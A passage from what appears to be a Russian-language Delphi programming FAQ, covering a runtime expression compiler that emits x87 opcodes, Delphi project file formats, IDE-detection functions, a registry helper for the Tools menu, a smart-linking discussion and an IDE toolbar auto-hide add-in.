Form1.Memo1.Lines.Add('fld X');
SetLength(CS, high(CS) + 7);
cs[high(CS) - 5] := $DD;
cs[high(CS) - 4] := $05;
cs[high(CS) - 3] := (integer(@x) and $000000FF) shr 0;
cs[high(CS) - 2] := (integer(@x) and $0000FF00) shr 8;
cs[high(CS) - 1] := (integer(@x) and $00FF0000) shr 16;
cs[high(CS) - 0] := (integer(@x) and $FF000000) shr 24;
end;
// это все еще выражение :( ох не кончились наши мучения
i := -1;
j := 0;
while j <= 1 do
begin
i := length(s);
Sc := 0;
while i > 0 do
begin // ну скобки надо обойти
if s[i] = ')' then
Inc(Sc);
if s[i] = '(' then
Dec(Sc);
if Sc <> 0 then
begin
dec(i);
continue;
end;
if (s[i] = Op[j * 2]) then
begin
j := j * 2 + 10;
break;
end;
if (s[i] = Op[j * 2 + 1]) then
begin
j := j * 2 + 11;
break;
end;
dec(i);
end;
inc(j);
end;
//('+','-','/','*');
// а вот и рекурсия - все что справа и слева от меня пусть обработает ...
// ой да это же я:) Ну а я так уж и быть сформирую код операции в середине :)
case j of
11:
begin
preCalc(copy(s, 1, i - 1));
preCalc(copy(s, i + 1, length(s) - i));
Form1.Memo1.Lines.Add('FAddp St(1),st');
// cs
//fAddP st(1),st // [DE C1]
SetLength(CS, high(CS) + 3);
cs[high(Cs)] := $C1; // вот такой код сформируем
cs[high(Cs) - 1] := $DE;
end;
// далее - аналогично для каждой операции
12:
begin
preCalc(copy(s, 1, i - 1));
preCalc(copy(s, i + 1, length(s) - i));
Form1.Memo1.Lines.Add('FSubP St(1),st');
//fSubP st(1),st // [DE E9]
SetLength(CS, high(CS) + 3);
cs[high(Cs)] := $E9;
cs[high(Cs) - 1] := $DE;
end;
13:
begin
try
preCalc(copy(s, 1, i - 1));
preCalc(copy(s, i + 1, length(s) - i));
Form1.Memo1.Lines.Add('fdivP st(1),st');
//fDivP st(1),st // [DE F9]
SetLength(CS, high(CS) + 3);
cs[high(Cs)] := $F9;
cs[high(Cs) - 1] := $DE;
except
ShowMessage('Division by zero !... ');
preCalc(copy(s, 1, i - 1));
preCalc(copy(s, i + 1, length(s) - i));
exit;
end;
end;
14:
begin
preCalc(copy(s, 1, i - 1));
preCalc(copy(s, i + 1, length(s) - i));
Form1.Memo1.Lines.Add('FMulp St(1),st');
//fMulP st(1),st // [DE C9]
SetLength(CS, high(CS) + 3);
cs[high(Cs)] := $C9;
cs[high(Cs) - 1] := $DE;
end;
end;
end;
// Вычисляй
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
x := StrToFloat(Edit2.text);
if (@proc <> nil) then
proc; // Вычисляй
Label1.caption := FloatToStr(res);
end;
// это всякие сервисные функции
procedure TForm1.Button1Click(Sender: TObject);
begin
Memo1.Clear;
Prepare(Edit1.text);
BitBtn1.Enabled := true;
end;
procedure TForm1.Edit1Change(Sender: TObject);
begin
BitBtn1.Enabled := false;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Edit1.OnChange(self);
end;
// а это для того чтобы посмотреть какой за быстрый получился код
procedure TForm1.Button2Click(Sender: TObject); //Speed test
var
t: TDateTime;
i: integer;
const
N = $5000000; //количество повторений
begin
if @proc = nil then
exit;
t := now;
for i := 0 to N do
begin
x := i;
proc;
x := res;
end;
t := now - t;
Memo1.lines.add('work time for ' + inttostr(N) + ' repeats =' + TimeToStr(t) +
' sec');
Memo1.lines.add('=' + FloatToStr(t) + ' days');
end;
end.
// а это Unit1.dfm
object Form1: TForm1
Left = 175
Top = 107
Width = 596
Height = 375
Caption = 'Form1'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 448
Top = 56
Width = 6
Height = 13
Caption = '[]'
end
object Label2: TLabel
Left = 19
Top = 12
Width = 13
Height = 13
Caption = 'X='
end
object Edit1: TEdit
Left = 16
Top = 32
Width = 417
Height = 21
TabOrder = 0
Text = '((24/2)+3*(7-x))'
OnChange = Edit1Change
end
object BitBtn1: TBitBtn
Left = 448
Top = 32
Width = 75
Height = 22
TabOrder = 1
OnClick = BitBtn1Click
Kind = bkOK
end
object Memo1: TMemo
Left = 16
Top = 80
Width = 241
Height = 249
TabOrder = 2
end
object Button1: TButton
Left = 448
Top = 2
Width = 75
Height = 25
Caption = 'prepare'
TabOrder = 3
OnClick = Button1Click
end
object Edit2: TEdit
Left = 36
Top = 8
Width = 53
Height = 21
TabOrder = 4
Text = '2'
end
object Button2: TButton
Left = 264
Top = 80
Width = 75
Height = 25
Caption = 'Speed test'
TabOrder = 5
OnClick = Button2Click
end
end
Формат .CAB-файлов
Это формат файлов, который Delphi предлагает теперь своим пользователям для размещения в Интернете. Cabinet-формат
является эффективным средством для упаковки нескольких файлов. Cabinet-формат имеет две ключевых характеристики: в
отдельном кабинете (.cab-файл) могут храниться несколько файлов, и сжатие данных выполняется в зависимости от типа
файлов, что значительно увеличивает коэффициент сжатия. Создание Cabinet-файла зависит также от количества упаковываемых
файлов и ожидаемого к ним типа доступа (последовательный, произвольный, одновременный ко всем файлам или доступ к
нескольким файлам в одно и тоже время). Delphi не пользуется преимуществами сжатия файлов в зависимости от их типа.
Формат .LIC-файлов
В действительности, как такового, формата .lic-файла не существует. Обычно это такие же текстовые файлы, содержащие
одну или две ключевых строки.
Формат .INF-файлов
Все inf-файлы состоят из секций и пунктов. Каждая именованная секция содержит соответствующие пункты. Все inf-файлы
начинаются с заголовочной секции. После заголовка включенные секции могут располагаться в любом порядке. Каждый
заголовок представляет собой строку с [Именем Заголовка]. Далее следуют пункты: ItemA = ItemDetail. Для получения
дополнительной информации обратитесь к документу "Device Information File Reference".
Формат .dpr-файлов
.dpr-файл является центральным файлом delphi-проекта. Для программы он является первой точкой входа. dpr содержит
ссылки на другие файлы проекта и связывает формы с соответствующими модулями. Данный файл нужно редактировать с
предельной осторожностью, так как неумелые действия могут привести к тому, что вы не сможете загрузить ваш проект.
Этот файл является критическим при загрузке и перемещении (копировании) проекта.
Формат .pas-файлов
Это стандартный текстовый файл, который можно редактировать в текстовом редакторе. Данный файл нужно редактировать с
некоторой долей осторожности, поскольку это может закончиться потерей некоторых преимуществ двух других инструментов.
К примеру, добавление кода для кнопки с декларацией типа никак не отразится на соответствующем .dfm-файле формы. Все
pas-файлы являются критическими при пересборке проекта.
Формат .dfm-файлов
Данный файл содержит описание объектов, расположенных на форме. Содержимое файла можно увидеть в виде текста, вызвав
правой кнопкой мыши контекстное меню и выбрав пункт "view as text", или же с помощью конвертора convert.exe
(расположенного в каталоге bin), также позволяющего перевести файл в текстовый вид и обратно. Данный файл нужно
редактировать очень осторожно, поскольку это может закончиться тем, что IDE не сможет загрузить форму. Этот файл является
критическим при перемещении и пересборке проекта.
Формат .DOF-файлов
Данный текстовый файл содержит текущие установки для опций проекта, как например, настройки компилятора и компоновщика,
каталоги, условные директивы и параметры командной строки. Данные установки могут быть изменены пользователем путем
изменений настроек проекта.
Формат .DSK-файлов
Данный текстовый файл хранит информацию относительно состояния вашего проекта, как например, открытое окно и его
координаты. Подобно .DOF-файлу, данный файл создается на основе текущей обстановки проекта.
Формат .DPK-файлов
Данный файл содержит исходный код пакета (аналогично .DPR-файлу стандартного проекта Delphi). Подобно файлу .DPR,
.DPK-файл также является простым текстовым файлом, который можно редактировать (см. предупреждение выше) в стандартном
редакторе. Одной из причин, по которой вы можете это сделать - использование компилятора командной строки.
Формат .DCP-файлов
Данный бинарный image-файл состоит фактически из реально скомпилированного пакета. Информация о символах и
дополнительных заголовках, требуемых IDE, полностью содержится в .DCP-файле. Чтобы собрать (build) проект, IDE должен
иметь доступ к этому файлу.
Формат .DPL-файла
В действительности это выполняемый runtime-пакет. Данный файл является Windows DLL с интегрированными
Delphi-специфическими характеристиками. Данный файл необходим в случае развертывания приложения, использующего пакеты.
Формат .DCI-файла
Данный файл содержит как стандартные, так и определенные пользователем шаблоны кода, используемых в IDE.
Файл может редактироваться стандартным текстовым редактором, или в самой IDE. Как и любой текстовый файл
данных, используемый Delphi, редактировать его самостоятельно не рекомендуется.
Формат .DCT-файла
Это "частный" бинарный файл, содержащий информацию об определенных пользователями шаблонах компонентов.
Данный файл не может быть отредактирован никакими способами через IDE. Поскольку данный файл является
"личным" файлом IDE, то совместимость с последующими версиями Delphi не гарантируется.
Формат .TLB-файла
.TLB-файл является "частным" двоичным файлом библиотеки типов. Обеспечивает информацией для идентификации
типов объектов и интерфейсов, доступных в ActiveX сервере. Подобно модулю или заголовочному файлу, .TLB служит
в качестве хранилища для необходимой символьной информации приложения. Поскольку данный файл является "личным",
то совместимость с последующими версиями Delphi не гарантируется.
Формат .DRO-файла
Данный текстовый файл содержит информацию об объектном хранилище. Каждый пункт данного файла содержит
специфическую информацию о каждом доступном элементе в хранилище объектов. Хотя этот файл и является простым
текстовым файлом, мы настоятельно не рекомендуем править его вручную. Хранилище может редактироваться только
с помощью меню Tools|Repository в самом IDE.
Формат .RES-файла
Это стандартный двоичный windows-формата файл ресурсов, включающий в себя информацию о приложении.
По умолчанию, Delphi создает новый .RES-файл при каждой компиляции проекта в исполняемое приложение.
Формат .DB-файла
Файлы с таким расширением - стандартные файлы Paradox.
Формат .DBF-файла
Файлы с таким расширением - стандартные dBASE-файлы.
Фомат .GDB-файла
Файлы с таким расширением - стандартные Interbase-файлы.
Формат .DMT-файла
Этот "частный" бинарный файл содержит встроенные и определенные пользователем шаблоны меню.
Данный файл не может быть отредактирован никакими способами через IDE. Поскольку данный файл является "личным",
то совместимость с последующими версиями Delphi не гарантируется.
Формат .DBI-файла
Данный текстовый файл содержит информацию, необходимую для инициализации Database Explorer. Данный файл не может
быть отредактирован никакими способами через Database Explorer.
Формат .DEM-файла
Данный текстовый файл содержит некоторые стандартные, привязанные к стране, форматы компонента TMaskEdit.
Как и любой текстовый файл данных, используемый Delphi, редактировать его самостоятельно не рекомендуется.
Формат .OCX-файла
.OCX-файл является специализированной DLL, которая содержит все или несколько функций, связанных с элементом
управления ActiveX. Файл OCX задумывался как "обертка", которая содержала бы сам объект, и средства для связи
с другими объектами и серверами.
function DelphiLoaded: boolean;
{ Определение работающей Delphi. Во всяком случае, дает
правильный результат если Delphi минимизирован, или имеет о
ткрытый проект. Также, правильный результат получается,
если вызывающее приложение автономно, или запущено из-под
IDE. Код написан на основе идей Wade Tatman
wtatman@onramp.net - Mike O'Hanlon, The Pascal Factory,
найденных в Delphi-Talk List. }
function WindowExists(ClassName, WindowName: string): boolean;
{ Проверяем наличие определенного окна Window, используя
для этого паскалевские строки вместо PChars. }
var
PClassName, PWindowName: PChar;
AClassName, AWindowName: array[0..63] of char;
begin
if ClassName = '' then
PClassName := nil
else
PClassName := StrPCopy(@AClassName[0], ClassName);
if WindowName = '' then
PWindowName := nil
else
PWindowName := StrPCopy(@AWindowName[0], WindowName);
if FindWindow(PClassName, PWindowName) <> 0 then
WindowExists := true
else
WindowExists := false;
end; {WindowExists}
begin {DelphiLoaded}
DelphiLoaded := false;
if WindowExists('TPropertyInspector', 'Object Inspector') then
if WindowExists('TMenuBuilder', 'Menu Designer') then
if WindowExists('TApplication', 'Delphi') then
if WindowExists('TAlignPalette', 'Align') then
if WindowExists('TAppBuilder', '') then
DelphiLoaded := true;
end; {DelphiLoaded}
Следующая программа возвращает TRUE при запуске в Delphi IDE (ПРИМЕЧАНИЕ: это _не_ сработает, если подпрограмма в DLL).
function InIDE: Boolean;
begin
Result := Bool(PrefixSeg) and
Bool(PWordArray(MemL[DSeg:36])^[8]));
end; { InIDE }
{....}
uses ToolsApi;
{....}
var
a, i: Integer;
begin
with (BorlandIDEServices as IOTAPackageServices) do
begin
for a := 0 to GetPackageCount - 1 do
begin
for i := 0 to GetComponentCount(a) - 1 do
begin
{get each component name with GetComponentName(a, i);}
end;
end;
end;
end;
//** class to manage Delphi's Tool list
//**
//** if Delphi is running restart it to see changes
//*************************************************************
unit DelphiTool;
interface
uses
Windows, SysUtils, Registry, classes;
type
TDelphiVersion = ({dvD5,} dvD6);
EDelphiTool_AlreadyRegistered = class(Exception);
EDelphiTool_InvalidIndex = class(Exception);
TDelphiTool = class
private
F_Registry: TRegistry;
F_ToolCount: Integer;
F_ToolPath: string;
protected
function OpenKey(key: string; CanCreate: Boolean): Boolean;
public
constructor Create;
destructor Destroy; override;
procedure SetRootKey(root_key: HKEY);
procedure SetDelphiVersion(version: TDelphiVersion);
procedure Add(params, path, title, workingDir: string);
procedure Edit(toolIndex: Integer; params, path, title, workingDir: string);
procedure Delete(toolIndex: Integer);
function IndexOf(toolTitle: string): Integer;
function Count: Integer;
procedure ToolProperties(toolIndex: Integer;
out params, path, title, workingDir: string);
end;
implementation
{ TDelphiTool }
constructor TDelphiTool.Create;
begin
inherited;
SetDelphiVersion(dvD6);
F_Registry := TRegistry.Create;
end;
destructor TDelphiTool.Destroy;
begin
F_Registry.CloseKey;
F_Registry.Free;
inherited;
end;
function TDelphiTool.IndexOf(toolTitle: string): Integer;
var
found: boolean;
loop: integer;
Count: integer;
begin
Result := -1;
if OpenKey(F_ToolPath, True) then
begin
loop := 0;
found := False;
while (loop < F_ToolCount) and not found do
begin
found := F_Registry.ReadString('Title' + IntToStr(loop)) = toolTitle;
if not found then Inc(loop);
end;
end;
if found then Result := loop;
end;
procedure TDelphiTool.SetRootKey(root_key: HKEY);
begin
F_Registry.RootKey := root_key;
end;
procedure TDelphiTool.Add(params, path, title, workingDir: string);
var
Count: integer;
suffix: string;
begin
if OpenKey(F_ToolPath, True) then
begin
try
if IndexOf(title) < 0 then
begin
Count := F_ToolCount;
suffix := IntToStr(Count);
Inc(Count);
F_registry.WriteString('Params' + suffix, params);
F_registry.WriteString('Path' + suffix, path);
F_registry.WriteString('Title' + suffix, title);
F_registry.WriteString('WorkingDir' + suffix, workingDir);
F_registry.WriteInteger('Count', Count);
F_ToolCount := Count;
end
else
raise EDelphiTool_AlreadyRegistered.Create('[Add]: Tool is already registered.');
finally
F_Registry.CloseKey;
end;
end
end;
function TDelphiTool.OpenKey(key: string; CanCreate: Boolean): Boolean;
begin
Result := F_Registry.OpenKey(key, CanCreate);
if F_Registry.ValueExists('Count') then F_ToolCount := F_Registry.ReadInteger('Count')
else
F_ToolCount := 0;
end;
procedure TDelphiTool.Edit(toolIndex: Integer; params, path, title, workingDir: string);
// if you don't want to change one property set to ''
var
suffix: string;
begin
if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
raise EDelphiTool_InvalidIndex.Create('[Edit]: Invalid index.')
else
begin
if OpenKey(F_ToolPath, True) then
begin
try
suffix := IntToStr(toolIndex);
if (params <> '') then
F_registry.WriteString('Params' + suffix, params);
if (path <> '') then
F_registry.WriteString('Path' + suffix, path);
if (title <> '') then
F_registry.WriteString('Title' + suffix, title);
if (workingDir <> '') then
F_registry.WriteString('WorkingDir' + suffix, workingDir);
finally
F_Registry.CloseKey;
end;
end
end;
end;
procedure TDelphiTool.Delete(toolIndex: Integer);
var
suffix, tmp_suffix: string;
i: integer;
begin
if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
raise EDelphiTool_InvalidIndex.Create('[Delete]: Invalid index.')
else
begin
if OpenKey(F_ToolPath, True) then
begin
try
suffix := IntToStr(toolIndex);
for i := toolIndex + 1 to F_ToolCount - 1 do
begin
tmp_suffix := IntToStr(i);
F_registry.WriteString('Params' + suffix,
F_registry.ReadString('Params' + tmp_suffix));
F_registry.WriteString('Path' + suffix,
F_registry.ReadString('Path' + tmp_suffix));
F_registry.WriteString('Title' + suffix,
F_registry.ReadString('Title' + tmp_suffix));
F_registry.WriteString('WorkingDir' + suffix,
F_registry.ReadString('WorkingDir' + tmp_suffix));
suffix := IntToStr(i);
end;
F_registry.DeleteValue('Params' + suffix);
F_registry.DeleteValue('Path' + suffix);
F_registry.DeleteValue('Title' + suffix);
F_registry.DeleteValue('WorkingDir' + suffix);
F_registry.WriteInteger('Count', F_ToolCount - 1);
Dec(F_ToolCount);
finally
F_Registry.CloseKey;
end;
end;
end;
end;
procedure TDelphiTool.SetDelphiVersion(version: TDelphiVersion);
//*************************************************************
// for versions other then D6 lookup the registry and add lines
// like below , also add dvDx entries to TDelphiVersion
begin
case version of
dvD6: F_ToolPath := '\Software\Borland\Delphi\6.0\Transfer';
//** don't have D5, just guessing, so check it in the registry
//** before uncommenting
// dvD5: F_ToolPath:= '\Software\Borland\Delphi\5.0\Transfer';
end;
end;
function TDelphiTool.Count: Integer;
begin
Result := F_ToolCount;
end;
procedure TDelphiTool.ToolProperties(toolIndex: Integer; out params, path,
title, workingDir: string);
var
suffix: string;
begin
if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
raise EDelphiTool_InvalidIndex.Create('[ToolProperties]: Invalid index.')
else
begin
if OpenKey(F_ToolPath, True) then
begin
try
suffix := IntToStr(toolIndex);
params := F_registry.ReadString('Params' + suffix);
path := F_registry.ReadString('Path' + suffix);
title := F_registry.ReadString('Title' + suffix);
workingDir := F_registry.ReadString('WorkingDir' + suffix);
finally
F_Registry.CloseKey;
end;
end
end;
end;
end.
//*******************************************************************
//** how to use it?
//*******************************************************************
unit Unit1;
interface
uses
Windows, {...}, DelphiTool;
//...
//...
//...
var
Form1: TForm1;
implementation
procedure TForm1.Button1Click(Sender: TObject);
begin
with TDelphiTool.Create do
try
// Delete(IndexOf('MyTool'));
Add('', Application.ExeName, 'MyTool', ExtractFilePath(Application.ExeName));
// Edit(IndexOf('MyTool'), '', '', 'MyTool But Edited', '');
finally
Free;
end;
end;
Вот подпрограммы, работающие у меня в связке D1 и Win 3.1x:
function LaunchedFromDelphiIDE: Boolean;
{----------------------------------------------------------------}
{ Осуществляем проверку запущенности приложения из-под Delphi }
{ IDE. Идея взята из сообщения в Delphi-Talk от Ed Salgado }
{ из Eminent Domain Software. }
{----------------------------------------------------------------}
begin
LaunchedFromDelphiIDE := Bool(PrefixSeg) {т.е. не DLL} and
Bool(PWordArray(MemL[DSeg: 36])^[8]);
end; {LaunchedFromDelphiIDE}
function DelphiLoaded: Boolean;
{----------------------------------------------------------------}
{ Проверяем, загружена ли Delphi. Дает правильные результаты }
{ - если вызывающее приложение запущено отдельно, или из-под IDE}
{ - если Delphi имеет открытый проект }
{ - если Delphi минимизирована. }
{ Автор идеи Wade Tatman (wtatman@onramp.net). }
{----------------------------------------------------------------}
begin
DelphiLoaded := false;
if WindowExists('TPropertyInspector', 'Object Inspector') then
if WindowExists('TMenuBuilder', 'Menu Designer') then
if WindowExists('TAppBuilder', '(AnyName)') then
if WindowExists('TApplication', 'Delphi') then
if WindowExists('TAlignPalette', 'Align') then
DelphiLoaded := true;
end; {DelphiLoaded}
function DelphiInstalled: Boolean;
{----------------------------------------------------------------}
{ Проверяем наличие Delphi.ini, ищем в нем путь к Библиотеке }
{ Компонентов, после чего проверяем ее наличие по этому пути. }
{----------------------------------------------------------------}
var
IniFile: string;
begin
DelphiInstalled := false;
IniFile := WindowsDirectory + '\Delphi.ini';
if FileExists(IniFile) then
if FileExists(GetIni(IniFile, 'Library', 'ComponentLibrary')) then
DelphiInstalled := true;
end; {DelphiInstalled}
Я уверен, что один из приведенных выше методов вам поможет.Последние две
подпрограммы используют некоторые другие инкапсуляции Windows API и классов
Delphi, и они определены следующим образом:
function WindowExists(WindowClass, WindowName: string): Boolean;
{----------------------------------------------------------------}
{ С помощью паскалевских строк проверяем наличие определенного }
{ окна. Для поиска только имени окна (WindowName), используем }
{ WindowClass '(AnyClass)'; для поиска только класса окна }
{ (WindowClass), используем WindowName '(AnyName)'. }
{----------------------------------------------------------------}
var
PWindowClass, PWindowName: PChar;
AWindowClass, AWindowName: array[0..63] of Char;
begin
if WindowClass = '(AnyClass)' then
PWindowClass := nil
else
PWindowClass := StrPCopy(PChar(@AWindowClass), WindowClass);
if WindowName = '(AnyName)' then
PWindowName := nil
else
PWindowName := StrPCopy(PChar(@AWindowName), WindowName);
if FindWindow(PWindowClass, PWindowName) <> 0 then
WindowExists := true
else
WindowExists := false;
end; {WindowExists}
function WindowsDirectory: string;
{----------------------------------------------------------------}
{ Возвращаем путь к каталогу Windows (без обратной косой черты) }
{----------------------------------------------------------------}
const
BufferSize = 144;
var
ABuffer: array[0..BufferSize] of Char;
begin
if GetWindowsDirectory(PChar(@ABuffer), BufferSize) = 0 then
WindowsDirectory := ''
else
WindowsDirectory := StrPas(PChar(@ABuffer));
end; {WindowsDirectory}
function GetIni(const IniFile, Section, Entry: string): string;
{----------------------------------------------------------------}
{ Получаем инициализационную 'profile' строку из определенного }
{ пункта (Entry) определенной секции [Section] определенного }
{ INI-файла (дополняем '.ini', если отсутствует). Возвращаем }
{ нулевую строку, если IniFile, Section или Entry не найден. }
{----------------------------------------------------------------}
var
IniFileVar: string;
IniFileObj: TIniFile;
begin
if StrEndsWith(IniFile, '.ini') then
IniFileVar := IniFile
else
IniFileVar := IniFile + '.ini';
IniFileObj := TIniFile.Create(IniFileVar);
GetIni := IniFileObj.ReadString(Section, Entry, '');
IniFileObj.Free;
end; {GetIni}
Delphi содержит очень умный компоновщик, который исключает добавление функций без внешних ссылок в ваш конечный exe-файл.
Это действительно лучшее решение, чем то, которое предлагают (старые сведения, В.О.) все C-компоновщики,
компонующие все функции данного модуля (кодового файла), если хотя бы на одну из них имеется внешняя ссылка.
...я тоже так хотел. Но одна из моих форм имела "uses dll_link", где dll_link являлся компонентом, который
использовал dll. Хотя компонент и был удален из формы, программа сбоила, если на машине отсутствовала нужная
DLL. Естественно, компоновщик удалил весь неиспользуемый код, но почему проблема осталась? Удаление
"uses dll_link" решило проблему, и уменьшило размер exe на 100k. Очевидно, компоновщик не может это удалить сам.
Я так полагаю, что "умный" компоновщик ("Smart Linking") недостаточно умен для удаления ссылок на модули, в
которых нет функций со внешними ссылками. Может, он делает это намеренно, но пока не ясно почему.
...я тоже задавался этим вопросом: почему, удаляя ссылки на ненужные мне модули, которые Delphi устанавливает
по-умолчанию, размер выходного файла уменьшается - почему??? Что делает в это время умный оптимизатор - компилятор?
Я провел тест опции Delphi "Smart Linking" (умное связывание). Я создал пустое приложение, одно окно, ничего
более. В обработчик события FormCreate я поместил две переменные и проинициализировал их: первая представляла
собой строку, куда я поместил 'Привет!', вторая была Hwnd, куторой я присвоил дескриптор ("handle").
Я создал второй модуль. В этот модуль я включил ссылки на SysUtils, WinTypes и WinProcs. Я создал функцию с
именем "This". "This" получает на входе два параметра: Hwnd и String. Она преобразует строку к типу C-строки, и
вызывает MessageBox. Я захотел сделать так, чтобы функция "This" все-таки не была тривиальной (ну хорошо, она тривиальная).
Важным является то, что у меня в моей программе нет ни одного места, откуда бы я вызывал "This". В список модуля
формы "uses" я поместил ссылку на второй модуль (где расположена функция "This"), но при этом функция "This" нигде не вызывается.
Я собрал приложение, и запомнил размер exe-файла.
Затем я создал обработчик события FormCreate. В нем я вызывал "This" с переменными, инициализированными ранее
(строка и дескриптор окна).
Я собрал приложение, и запомнил размер exe-файла.
Во втором случае (с вызовом функции "This") exe-файл получился больше на 300 байт. Из этого следует, что
неиспользуемые функции не линкуются к exe-файлу.
Опция "Optimize for size and load time" (оптимизировать для размера и времени загрузки) весьма отличается от
пции "smart-linking" (умное связывание). Очевидно, большинство компоновщиков сами по себе являются "умными машинками".
Их технологию работы сложно понять, и это является самым строгим секретом фирмы. Некоторые теоретические выкладки можно
почерпнуть из статьи, напечатанной в журнале MicroSoft Systems Journal, Июль 1993, статья называется
"Liposuction your Corpulent Executables and Remove Excess Fat". Ее можно также найти на CD MSDN, если он у
вас, конечно, имеется. По-крайней мере, в статье есть интересный раздел, посвященный технологии выравнивания
("alignment"), которую можно сравнить с проблемой выбора размера кластера в момент создания раздела на диске.
Эта технология позволяет сэкономить, или потерять свободное место на диске при большом количестве файлов.
В вопросе оптимизации существует масса мелочей. Во всяком случае, "Optimize for size and load time" выполняет
ту же работу, что и прорамма W8LOSS.EXE (расположенной в каталоге \Delphi\Bin) с вашим скомпилированным приложением.
Вам нужно помнить об одной вещи: если компоновщик настроен на "умное связывание", то он не будет запускать
приложение чтобы посмотреть, используется ли функция/процедура, или нет. В этом случае он проверяет на "возможность"
использования той или иной функции/процедуры. Я не проверял это, но, вероятно, даже в VCL наверняка существуют
методы, которые включены в ее только потому, что существует "возможность" их применения, и они "тянутся" при
компиляции в ваше приложение.
Кроме того, для подтверждения моей мысли, я просто создал приложение с одной формой, работающее с базой данных и
имевшее размер более 500Кб, после добавления к которому нескольких форм размер приложения не увеличился.
Типы не линкуются. Они используются только самим компилятором. Переменные "умным" компилятором не удаляются. Код,
расположенный в секции initialization вызывается всегда. Процесс компиляции программ Delphi состоит из двух шагов:
во-первых, компилируются все модули программы, после чего получаются двоичные промежуточные .DCU-файлы. Во-вторых,
они полностью связываются все вместе и получается .EXE-файл. Во время второго шага удаляются любые функции/процедуры
без внешних ссылок. Поэтому нет повода для беспокойства: ВСЕ функции, которые присутствуют в программе, будует
помещены в .DCU-файл, и только те из них, которые реально используются, будут упакованы в EXE. Все будет работать
именно так, как вы и ожидаете, нет никаких сюрпризов, в противном случае это связывание не будет 'smart' (умным),
и эту опцию можно не включать.
//****************************************
// Paste into AutoHideIDE.dpk
//****************************************
package AutoHideIDE;
{$R *.res}
{$ALIGN 8}
{$ASSERTIONS ON}
{$BOOLEVAL OFF}
{$DEBUGINFO ON}
{$EXTENDEDSYNTAX ON}
{$IMPORTEDDATA ON}
{$IOCHECKS ON}
{$LOCALSYMBOLS ON}
{$LONGSTRINGS ON}
{$OPENSTRINGS ON}
{$OPTIMIZATION ON}
{$OVERFLOWCHECKS OFF}
{$RANGECHECKS OFF}
{$REFERENCEINFO ON}
{$SAFEDIVIDE OFF}
{$STACKFRAMES OFF}
{$TYPEDADDRESS OFF}
{$VARSTRINGCHECKS ON}
{$WRITEABLECONST OFF}
{$MINENUMSIZE 1}
{$IMAGEBASE $400000}
{$DESIGNONLY}
{$IMPLICITBUILD OFF}
requires
rtl,
vcl;
contains
AutoHide in 'AutoHide.pas';
end.
//****************************************
// Paste into AutoHide.pas
//****************************************
unit AutoHide;
interface
uses
Windows, Messages, SysUtils, Classes, Controls, Forms;
type
TAutoHider = class(TObject)
protected
procedure DelphiOnMessage(var Msg: TMsg; var Handled: Boolean);
procedure MyDockDrop(Sender: TObject; Source: TDragDockObject; X, Y: Integer);
procedure MyDestroy(Sender: TObject);
public
OldDockDrop: TDockDropEvent;
OldDestroy: TNotifyEvent;
Delphi: TApplication;
Bar_Top: TForm;
Bar_Left: TForm;
ObjInspector: TForm;
DockHost: TForm;
Bar_Top_Rect: TRect;
Bar_Left_Rect: TRect;
F_AtTop: Boolean;
F_AtLeft: Boolean;
procedure Init_Bar_Left;
procedure Bar_Left_Visible(val: Boolean);
procedure Bar_Top_Visible(Value: Boolean);
end;
var
AutoHider: TAutoHider;
implementation
{ TAutoHide }
procedure Restore_Bar_Left;
begin
AutoHider.ObjInspector.OnDockDrop := nil;
if AutoHider.DockHost <> nil then
begin
AutoHider.DockHost.OnDestroy := nil;
end;
AutoHider.Bar_Left.BoundsRect := AutoHider.Bar_Left_Rect;
end;
procedure Restore_Bar_Top;
begin
AutoHider.Bar_Top.BoundsRect := AutoHider.Bar_Top_Rect;
end;
procedure InitAutoHider(Value: Boolean);
begin
if Value then
begin
AutoHider.Delphi := Application;
AutoHider.Bar_Top := TForm(Application.FindComponent('AppBuilder'));
if AutoHider.Bar_Top <> nil then
begin
AutoHider.Bar_Top_Rect := AutoHider.Bar_Top.BoundsRect;
AutoHider.ObjInspector := AutoHider.Bar_Top.FindComponent('PropertyInspector')
as TForm;
AutoHider.Bar_Left_Rect := AutoHider.ObjInspector.BoundsRect;
AutoHider.OldDockDrop := AutoHider.ObjInspector.OnDockDrop;
AutoHider.ObjInspector.OnDockDrop := AutoHider.MyDockDrop;
AutoHider.DockHost := nil;
AutoHider.Init_Bar_Left;
AutoHider.F_AtTop := True;
AutoHider.F_AtLeft := True;
AutoHider.Delphi.OnMessage := AutoHider.DelphiOnMessage;
end;
end
else
begin
Restore_Bar_Left;
Restore_Bar_Top;
end;
end;
procedure TAutoHider.Bar_Top_Visible(Value: Boolean);
begin
if Value = F_AtTop then Exit;
if Value then
begin
Bar_Top.Top := 0;
Bar_Top.Show;
end
else
begin
Bar_Top.Top := -Bar_Top.Height + 3;
end;
F_AtTop := Value;
end;
procedure TAutoHider.Bar_Left_Visible(val: Boolean);
begin
if val = F_AtLeft then Exit;
if val then
begin
Bar_Left.Left := 0;
Bar_Left.Top := 0;
Bar_Left.Height := Screen.WorkAreaHeight;
Bar_Left.Show;
end
else
begin
Bar_Left.Left := -Bar_Left.Width + 3;
end;
F_AtLeft := val;
end;
procedure TAutoHider.DelphiOnMessage(var Msg: TMsg; var Handled: Boolean);
begin
if not Delphi.Active then Exit;
if (Msg.message = WM_LBUTTONDOWN) then Exit;
if (Msg.message = WM_MOUSEMOVE) or (Msg.message = WM_NCMOUSEMOVE) then
begin
if F_AtTop then
if Mouse.CursorPos.Y > Bar_Top.Height + 50 then
begin
Bar_Top_Visible(False);
end;
if not F_AtTop then
if Mouse.CursorPos.Y < 3 then
begin
Bar_Top_Visible(True);
end;
if F_AtLeft then
if (Mouse.CursorPos.x > Bar_Left.Width + 50) and (not Bar_left.Active) then
begin
Bar_Left_Visible(False);
end;
if not F_AtLeft then
if Mouse.CursorPos.X < 3 then
begin
Bar_Left_Visible(True);
end;
end;
end;
procedure TAutoHider.MyDestroy(Sender: TObject);
begin
if Sender is TApplication then
begin
Bar_Top_Visible(False);
Bar_Left_Visible(False);
end
else
begin
if Assigned(OldDestroy) then OldDestroy(Sender);
DockHost := nil;
Bar_Left := ObjInspector;
